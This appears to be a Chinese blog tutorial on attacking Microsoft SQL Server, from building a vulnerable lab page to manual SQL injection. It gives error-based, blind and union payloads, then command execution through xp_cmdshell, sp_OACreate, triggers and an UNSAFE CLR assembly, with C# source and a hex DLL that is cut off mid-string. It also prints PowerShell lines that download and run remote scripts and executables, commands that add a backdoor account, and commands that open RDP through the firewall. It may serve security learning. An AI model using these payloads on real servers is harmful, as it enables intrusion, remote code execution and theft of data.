从0开始学习Microsoft SQL Server数据库攻防

渗透技巧 2年前 (2022) admin
1,118 0 0

MSSQL注入环境搭建

下载地址:https://www.microsoft.com/zh-CN/download/details.aspx?id=42299

从0开始学习Microsoft SQL Server数据库攻防
默认实例安装

从0开始学习Microsoft SQL Server数据库攻防
选择混合模式进行身份验证,输入密码1QAZ2wsx
从0开始学习Microsoft SQL Server数据库攻防

其他都默认下一步,直到安装成功
从0开始学习Microsoft SQL Server数据库攻防
打开SQL Server 配置管理器,启用tcp/ip,重启 sql server 服务,这样可以用一些工具远程连接,SqlServer服务使用两个端口:TCP-1433、UDP-1434。

从0开始学习Microsoft SQL Server数据库攻防
从0开始学习Microsoft SQL Server数据库攻防
从0开始学习Microsoft SQL Server数据库攻防
开启iis服务和asp .net
从0开始学习Microsoft SQL Server数据库攻防
访问本地ip,如下表明iis .net 环境安装成功
从0开始学习Microsoft SQL Server数据库攻防
默认的Web路径为C:\inetpub\wwwroot
下载Sql Server 注入的源代码,这里也可以自己写。
https://raw.githubusercontent.com/pradeepkodical/owasp-code-central/e97dd5bf2629c9f88644276121b64391141c4806/labs/SiteGenerator/SiteGenerator_ContentPages/Vulnerabilities/DataValidation_SqlInjection_Basic.aspx
把13行的<!--#include virtual="\SiteGenerator_Banner.html" -->
删掉,修改47行的密码和SERVER

private static string strSqlConnectionString = @"SERVER=.;UID=sa;PWD=1QAZ2wsx;DATABASE=FoundStone_Bank";

创建数据库:

create database FoundStone_Bank;

创建表:
https://raw.githubusercontent.com/pradeepkodical/owasp-code-central/e97dd5bf2629c9f88644276121b64391141c4806/labs/SiteGenerator/FoundStoneBank_export.sql
访问sqli.aspx 至此环境搭建完毕。
从0开始学习Microsoft SQL Server数据库攻防

Microsoft SQL Server 介绍

SQL Server是Microsoft开发的关系数据库管理系统(RDBMS)。 它是市场上最受欢迎的DBMS之一。SQL Server具有极其广泛的用途,它可以在各个方面使用,从存储个人博客的内容到存储客户数据等。

在2017版之前,SQL Server仅适用于Windows。 SQL Server 2017中最大的变化之一是,它现在可在Linux和Docker容器上使用。 这意味着可以在Mac上运行SQL Server。

SQL Server是在服务帐户的上下文中在操作系统上运行的一组Windows服务。每次安装SQL Server实例时,实际上都会安装一组Windows服务并具有唯一的名称。现有的SQL Server帐户类型:

  • Windows帐户。
  • SQL Server登录名(SQL Server内部)。
  • 数据库用户(SQL Server内部)。

Windows帐户和SQL Server登录名用于登录SQL Server。除非系统管理员,否则必须将SQL Server登录名映射到数据库用户才能访问数据。数据库用户是在数据库级别内单独创建的。


  • 权限:2008之前,为system、2008及其以后权限不再为system
  • 默认库:
    select name from master.dbo.sysdatabases;
    
master   //用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。

model    //SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础

msdb     //由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。

tempdb   //它为临时表和其他临时工作提供了一个存储区。

mssql注入常要打交道的库也就是 master,其中储存了所有数据库名与存储过程。类比于 MySQL 中的 information_schema 元数据库

从0开始学习Microsoft SQL Server数据库攻防
  • 字段
    • C = CHECK 约束
    • D = 默认值或 DEFAULT 约束
    • F = FOREIGN KEY 约束
    • L = 日志
    • FN = 标量函数
    • IF = 内嵌表函数
    • P = 存储过程
    • PK = PRIMARY KEY 约束(类型是 K)
    • RF = 复制筛选存储过程
    • S = 系统表
    • TF = 表函数
    • TR = 触发器
    • U = 用户表
    • UQ = UNIQUE 约束(类型是 K)
    • V = 视图
    • X = 扩展存储过程

查询所有的数据库名:

select name from master.dbo.sysdatabases;

从0开始学习Microsoft SQL Server数据库攻防
查询字段

select top 100 name,xtype from sysobjects;

从0开始学习Microsoft SQL Server数据库攻防
存储过程:

储存过程是一个可编程的函数,它在数据库中创建并保存。它可以有SQL语句和一些特殊的控制结构组成。当希望在不同的应用程序或平台上执行相同的函数,或者封装特定功能时,存储过程是非常有用的。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式。
例如:xp_cmdshell,xp_regread,xp_fileexist,xp_getnetname,xp_msver…
储存过程可以把他理解成一个函数调用的过程。

常用的危险存储过程:

xp_cmdshell
xp_dirtree
xp_enumgroups
xp_fixeddrives
xp_loginconfig
xp_enumerrorlogs
xp_getfiledetails
Sp_OACreate
Sp_OADestroy
Sp_OAGetErrorInfo
Sp_OAGetProperty
Sp_OAMethod
Sp_OASetProperty
Sp_OAStop
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
sp_makewebtask

SQL Server 符号

注释符号

/* 
--
;%00

空白字符

01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
/**/

运算符

+   加法运算
-   减法运算
*   乘法运算
/   除法运算,如果两个表达式值都是整数,那么结果只取整数值,小数值将略去
%   取模运算,返回两数相除后的余数

&   位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0
|   位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值为1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0
^   位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0

=   等于 
<>  不等于
>   大于  
!=  不等于
<   小于  
!<  不小于
>=  大于或等于   
!>  不大于
<=  小于或等于

ALL 如果一组的比较都为true,则比较结果为true
AND 如果两个布尔表达式都为true,则结果为true;如果其中一个表达式为false,则结果为false
ANY 如果一组的比较中任何一个为true,则结果为true
BETWEEN 如果操作数在某个范围之内,那么结果为true
EXISTS  如果子查询中包含了一些行,那么结果为true
IN  如果操作数等于表达式列表中的一个,那么结果为true
LIKE    如果操作数与某种模式相匹配,那么结果为true
NOT 对任何其他布尔运算符的结果值取反
OR  如果两个布尔表达式中的任何一个为true,那么结果为true
SOME    如果在一组比较中,有些比较为true,那么结果为true

语法定义符号

< > 尖括号,用于分隔字符串,字符串为语法元素的名称,SQL语言的非终结符。


::= 定义操作符。用在生成规则中,分隔规则定义的元素和规则定义。 被定义的元素位于操作符的左边,规则定义位于操作符的右边。


[ ] 方括号表示规则中的可选元素。方括号中的规则部分可以明确指定也可以省略。


{ } 花括号聚集规则中的元素。在花括号中的规则部分必须明确指定。


() 括号是分组运算符

MSSQL 信息搜集

  • 判断是否为mssql,获取当前数据库用户名
    1 and user>0;--
    

    从0开始学习Microsoft SQL Server数据库攻防

  • 判断数据库
    1 and (select count(*) from mysysobjects)>0  // 查询成功为access,报错为mssql
    1 and (select count(*) from sysobjects)>0 // mssql
    1 and (select count(*) from information_schema.tables)>0 // mysql
    

    从0开始学习Microsoft SQL Server数据库攻防

  • 判断字段个数
    1 order by 6
    

    从0开始学习Microsoft SQL Server数据库攻防

  • 查询数据库版本信息
    1 and1=(select@@version)
    

    从0开始学习Microsoft SQL Server数据库攻防

  • 获取数据库名
    1 and db_name()>0;--
    

    从0开始学习Microsoft SQL Server数据库攻防

  • 是否支持子查询
    1 and(selectcount(1)from[sysobjects])>=0
    
  • 是否支持多语句
    ;select user
    
  • 查询当前的本地服务名
    1 and1=(select@@servername)
    

    从0开始学习Microsoft SQL Server数据库攻防

  • 判断是否站库分离,报错,则站库分离,回显正常,则无站库分离
    1 and ((select host_name())=(select @@servername))
    
  • 权限判断
# 服务器级别
and 1=(select is_srvrolemember('sysadmin'))

and 1=(select is_srvrolemember('serveradmin'))

and 1=(select is_srvrolemember('setupadmin'))

and 1=(select is_srvrolemember('securityadmin'))

and 1=(select is_srvrolemember('diskadmin'))

and 1=(select is_srvrolemember('bulkadmin'))
从0开始学习Microsoft SQL Server数据库攻防
返回值 描述
0 login 不是 role 的成员
1 login 是 role 的成员
NULL role 或 login 无效,或者没有查看角色成员身份的权限

sqlmap中使用 --is-dba 可以判断是否为管理员权限

# 数据库级别
select IS_MEMBER('db_owner')
从0开始学习Microsoft SQL Server数据库攻防
  • 是否具有数据库读权限
    1 and 1= (select HAS_DBACCESS('master'))
    

MSSQL 手工注入流程

  1. 判断当前数据库
    1 and db_name()>0;--
    

    从0开始学习Microsoft SQL Server数据库攻防
    得到数据库名为FoundStone_Bank

  2. 查询当前数据库中的表名
    1 and 1=(select top 1 name from sysobjects where xtype='u' and name !='info');--
    

    从0开始学习Microsoft SQL Server数据库攻防
    得到表名为fsb_accounts

  3. 查询表中的列名
    1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'id');--
    

    从0开始学习Microsoft SQL Server数据库攻防
    得到列名为account_no

  4. 查询具体的数据
    1 and 1=(select top 1 account_no from fsb_accounts);
    

    查询表名还可以用information_schema.tables

    1 and 1=(select top 1 table_name from information_schema.tables)
    

    查询列名同理,这里和mysql类似

    1 and 1=(select top 1 column_name from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='fsb_accounts')
    

因为mssql没有limit 所以只能用top 加上后面的判断来遍历数据

要判断当前表名和列名 也可以使用 having 1=1 和 group by
从0开始学习Microsoft SQL Server数据库攻防

查询当前表和字段

1 group by fsb_users.user_id,fsb_users.user_name,fsb_users.login_id,fsb_users.password,fsb_users.creation_date having 1=1

报错注入

SQL Server 报错注入原理:

构造的payload: convert(int,@@version),convert函数会先执行第二个参数指定的sql查询,并尝试转化为int类型,因为查询的结果是varchar类型,所以会转化失败报错,报错的信息当中有咱们需要的信息。

1 and 1= convert(int,@@version)

MSSQL报错注入利用的就是显示或隐式转换来报错注入,比如以下就是典型的隐式转换
“`sql
select * from admin where id =1 and (select user)>0–

select * from admin where id =1|(select user)–

在将 nvarchar 值 ‘dbo’ 转换成数据类型 int 时失败。

显示转换也就是利用函数来转换,常用到的两个函数就是cast和convert
```sql
CAST( expression AS data_type )

CONVERT(data_type[(length)], expression [, style])

select * from admin where id =1 (select CAST(USER as int))

select * from admin where id =1 (select convert(int,user))

盲注

布尔盲注: ascii码逐个比较字符串,将返回为true的结果输出

1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109

时间盲注: 判断延时,将延时的结果输出

1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--
1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:5'--

联合注入

mssql联合注入一般不使用数字占位,而是null,因为使用数字占位可能会发生隐式转换

从0开始学习Microsoft SQL Server数据库攻防 从0开始学习Microsoft SQL Server数据库攻防

注入绕过

declare定义变量 set设置变量值 exec执行变量

select * from admin where id =1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --

变量的值是支持hex和ascii码的,可以通过编码来绕过关键字过滤

SQL Server 攻击面

危险存储过程利用

xp_cmdshell

利用条件:

  1. mssql数据库服务未降权
  2. 已获取到数据库密码
  3. 查询xp_cmdshell存储过程是否存在

xtype为对象类型,xtype=’x’,表示存储过程的对象类型为扩展存储过程。

select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' // 存在返回1
  • 执行xp_cmdshell之前需判断是否开启xp_cmdshell存储过程
    • 从MSSQL2005版本之后默认关闭
      消息 15281,级别 16,状态 1,过程 xp_cmdshell,第 1 行
      SQL Server 阻止了对组件“xp_cmdshell”的 过程“sys.xp_cmdshell”的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用“xp_cmdshell”。有关启用“xp_cmdshell”的详细信息,请搜索 SQL Server 联机丛书中的“xp_cmdshell”。
  • 开启xp_cmdshell
exec sp_configure 'show advanced options' ,1 ;
reconfigure;
exec sp_configure 'xp_cmdshell' ,1 ;
reconfigure;
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  • 关闭xp_cmdshell
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
    
  • xp_cmdshell 利用
# 信息搜集
exec master.dbo.xp_cmdshell 'whoami'
exec master.dbo.xp_cmdshell "whoami"
exec xp_cmdshell "whoami";
exec master..xp_cmdshell 'ipconfig/all'
exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"'
exec master..xp_cmdshell 'systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"'
exec master..xp_cmdshell 'wmic cpu get name,NumberOfCores,NumberOfLogicalProcessors/Format:List'
# 查询注册表,获取RDP端口号
exec master..xp_cmdshell 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber'
# 得到    PortNumber    REG_DWORD    0xd3d ,转换后就是3389
exec master..xp_cmdshell 'tasklist /svc | find "TermService" '
# 开启3389 Windows 2003
开启:
REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭:
REG ADD \"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
开启:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1`
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 开启3389 Windows 2008
开启:
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
# 修改防火墙 放行3389
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

# 添加账户,权限维持,不输出结果
exec master..xp_cmdshell 'Net user testuser passwd /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add',NO_OUTPUT
# 删除账户,不输出结果
EXEC master..xp_cmdshell 'net user testuser/delete', NO_OUTPUT
# 列目录
exec master..xp_cmdshell 'dir c:\'
exec xp_cmdshell 'dir c:\'

# 创建目录
exec master..xp_cmdshell 'mkdir "C:\test\"'
# 删除文件
exec master..xp_cmdshell 'del C:\test /f';
从0开始学习Microsoft SQL Server数据库攻防
  • 调用powershell
exec xp_cmdshell 'powershell -c "iex((new-object Net.WebClient).DownloadString(''http://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1''))"'
  • xp_cmdshell 调用cmd.exe用powershell 远程下载exe并执行
    exec master..xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell  -ExecutionPolicy Bypass  %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'
    
  • xp_cmdshell 被删除如何恢复

第一步先删除:

drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'

第二步恢复:

dbcc addextendedproc("sp_oacreate","odsole70.dll")
dbcc addextendedproc("xp_cmdshell"," ")

需要自行上传xplog70.dll,恢复扩展存储过过程xp_cmdshell的语句:

dbcc addextendedproc("xp_cmdshell","xplog70.dll")
  • 删除xp_cmdshell
    exec sp_dropextendedproc 'xp_cmdshell';
    

    #### xp_regread
    可以对注册表进行增删改查,其他类似的还有xp_regwrite、xp_regdeletvalue、xp_regdeletkey、xp_regaddmultistring

  • 枚举可用的注册表键值
    exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'
    

    #### xp_fileexist
    判读文件是否存在,第一列返回0表示文件不存在,返回1表示文件存在。当执行完无回显命令时,一般都将结果输入至文件中,利用此存储过程可以判断无回显命令是否执行成功。
    #### xp_subdirs
    列出当前目录

    exec xp_subdirs "C:\\"
    

    #### xp_getnetname
    获取服务器名
    #### xp_msver
    获取服务器信息
    #### xp_fixeddrives
    获取磁盘空间信息
    ### SQL Server 触发器利用
    触发器是一种特殊类型的存储过程,它不同于之前的我们介绍的存储过程。触发器主要是通过事件进行触发被自动调用执行的。而存储过程可以通过存储过程的名称被调用。
    SqlServer包括三种常规类型的触发器:DML触发器、DDL触发器和登录触发器

  • DML(数据操作语言,Data Manipulation Language)触发器

DML触发器是一些附加在特定表或视图上的操作代码,当数据库服务器中发生数据操作语言事件时执行这些操作。SqlServer中的DML触发器有三种:

  • insert触发器:向表中插入数据时被触发;
  • delete触发器:从表中删除数据时被触发;
  • update触发器:修改表中数据时被触发。

当遇到下列情形时,应考虑使用DML触发器:

  • 通过数据库中的相关表实现级联更改
  • 防止恶意或者错误的insert、update和delete操作,并强制执行check约束定义的限制更为复杂的其他限制。
  • 评估数据修改前后表的状态,并根据该差异才去措施。
  1. DDL(数据定义语言,Data Definition Language)触发器

DDL触发器是当服务器或者数据库中发生数据定义语言(主要是以create,drop,alter开头的语句)事件时被激活使用,使用DDL触发器可以防止对数据架构进行的某些更改或记录数据中的更改或事件操作。

  1. 登录触发器

登录触发器将为响应 LOGIN 事件而激发存储过程。与 SQL Server 实例建立用户会话时将引发此事件。登录触发器将在登录的身份验证阶段完成之后且用户会话实际建立之前激发。因此,来自触发器内部且通常将到达用户的所有消息(例如错误消息和来自 PRINT 语句的消息)会传送到 SQL Server 错误日志。如果身份验证失败,将不激发登录触发器。

设置一个触发器

set ANSI_NULLS on
go
set QUOTED_IDENTIFIER on
go
create trigger [test1]
on [fsb_users]
AFTER UPDATE as
begin
    execute master..xp_cmdshell 'cmd.exe /c calc.exe'
end
go

update 更新时,自动触发

UPDATE fsb_users SET user_name = 'test' WHERE login_id = '1'
从0开始学习Microsoft SQL Server数据库攻防

这种方法安全软件是会弹窗提示的。
从0开始学习Microsoft SQL Server数据库攻防

COM 组件利用

  1. mssql数据库服务未降权
  2. 已获取到数据库密码

SQL Server中的COM组件SP_OACREATE,可以执行系统命令,但是此利用方法无回显,可以通过读写文件来达到回显的效果。

  • 判断SP_OACREATE状态
select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE' -- 如果存在返回1
  • 启用SP_OACREATE

    消息 15281,级别 16,状态 1,过程 sp_OACreate,第 1 行
    SQL Server 阻止了对组件“Ole Automation Procedures”的 过程“sys.sp_OACreate”的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用“Ole Automation Procedures”。有关启用“Ole Automation Procedures”的详细信息,请搜索 SQL Server 联机丛书中的“Ole Automation Procedures”。
    消息 15281,级别 16,状态 1,过程 sp_OAMethod,第 1 行
    SQL Server 阻止了对组件“Ole Automation Procedures”的 过程“sys.sp_OAMethod”的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用“Ole Automation Procedures”。有关启用“Ole Automation Procedures”的详细信息,请搜索 SQL Server 联机丛书中的“Ole Automation Procedures”。

exec sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE;   
exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
  • 执行系统命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c whoami /all >C:\\test\test.txt'
从0开始学习Microsoft SQL Server数据库攻防

SQL Server CLR利用

公共语言运行时 (CLR) 集成编程概念
从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。

CLR方式可以利用16进制文件流方式导入DLL文件,不需要文件落地
利用步骤:

  1. 编写CLR
  2. 修改目标平台和勾选创建脚本
  3. 修改目标框架和权限级别
  4. 创建SQL CLR C# 存储过程
  5. 写入代码
  6. 启用MSSQL CLR功能
  7. 利用SQL语句导入程序集
  8. 执行系统命令

具体步骤:

  • 创建SQL Server 数据库项目
从0开始学习Microsoft SQL Server数据库攻防
  • 修改目标平台和勾选创建脚本

从0开始学习Microsoft SQL Server数据库攻防
在SQL Server 2005中引入了从MSSQL运行.NET代码的功能,并在后续版本中叠加了许多保护措施,来限制代码可以访问的内容。在创建.Net程序集时,会给它们指定一个权限级别,例如:

CREATE ASSEMBLY SQLCLRTest  
FROM 'C:\MyDBApp\SQLCLRTest.dll'  
WITH PERMISSION_SET = SAFE;

其权限集有三个选项:

* SAFE:基本上只将MSSQL数据集暴露给代码,其他大部分操作则都被禁止。

* EXTERNAL_ACCESS:允许访问底层服务器上某些资源,但不应该允许直接执行代码。

* UNSAFE:允许使用任何代码。
  • 修改目标框架和权限级别为UNSAFE。
从0开始学习Microsoft SQL Server数据库攻防

从0开始学习Microsoft SQL Server数据库攻防
从0开始学习Microsoft SQL Server数据库攻防

  • 创建SQL CLR C# 存储过程

从0开始学习Microsoft SQL Server数据库攻防
写入代码:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void ExecCommand (string cmd)
    {
        // 在此处放置代码
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
    }
    public static string RunCommand(string filename,string arguments)
    {
        var process = new Process();

        process.StartInfo.FileName = filename;
        if (!string.IsNullOrEmpty(arguments))
        {
            process.StartInfo.Arguments = arguments;
        }

        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.UseShellExecute = false;

        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.RedirectStandardOutput = true;
        var stdOutput = new StringBuilder();
        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
        string stdError = null;
        try
        {
            process.Start();
            process.BeginOutputReadLine();
            stdError = process.StandardError.ReadToEnd();
            process.WaitForExit();
        }
        catch (Exception e)
        {
            SqlContext.Pipe.Send(e.Message);
        }

        if (process.ExitCode == 0)
        {
            SqlContext.Pipe.Send(stdOutput.ToString());
        }
        else
        {
            var message = new StringBuilder();

            if (!string.IsNullOrEmpty(stdError))
            {
                message.AppendLine(stdError);
            }

            if (stdOutput.Length != 0)
            {
                message.AppendLine("Std output:");
                message.AppendLine(stdOutput.ToString());
            }
            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
        }
        return stdOutput.ToString();
    }
}

编译生成DLL:
从0开始学习Microsoft SQL Server数据库攻防

  • 启用CLR,SQL Server 2017版本之前
sp_configure 'show advanced options',1;RECONFIGURE; -- 显示高级选项
sp_configure 'clr enabled',1;RECONFIGURE; -- 启用CLR
ALTER DATABASE master SET TRUSTWORTHY ON; -- 将存储.Net程序集的数据库配置为可信赖的
  • 启用CLR,SQL Server 2017版本及之后
sp_configure 'show advanced options',1;RECONFIGURE;
sp_configure 'clr enabled',1;RECONFIGURE;
sp_add_trusted_assembly @hash= <SHA512 of DLL>; -- 将某程序集的SHA512哈希值添加到可信程序集列表中
  • 程序集的创建和调用
# 通过十六进制字符串创建程序集
CREATE ASSEMBLY clrassem from <HEX STRING> WITH PERMISSION_SET = UNSAFE;
# 创建存储过程,以从程序集运行代码:
CREATE PROCEDURE test AS EXTERNAL NAME clrassem.StoredProcedures.runner;
  • 通过SQL语句导入程序集
    CREATE ASSEMBLY [mssql_CLR]
      AUTHORIZATION [dbo]
      FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300660705620000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402360006002102360006002700E401000000002D00000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000004000000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F006D7373716C5F434C520053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468006D7373716C5F434C522E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A00200000005E54E0227F5F5E409B9302C5EA5F62E7000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006607056200000000020000001C010000E42A0000E40C000052534453F12CF9670467FE4789AA4C0BB3C9132401000000433A5C55736572735C546573745C736F757263655C7265706F735C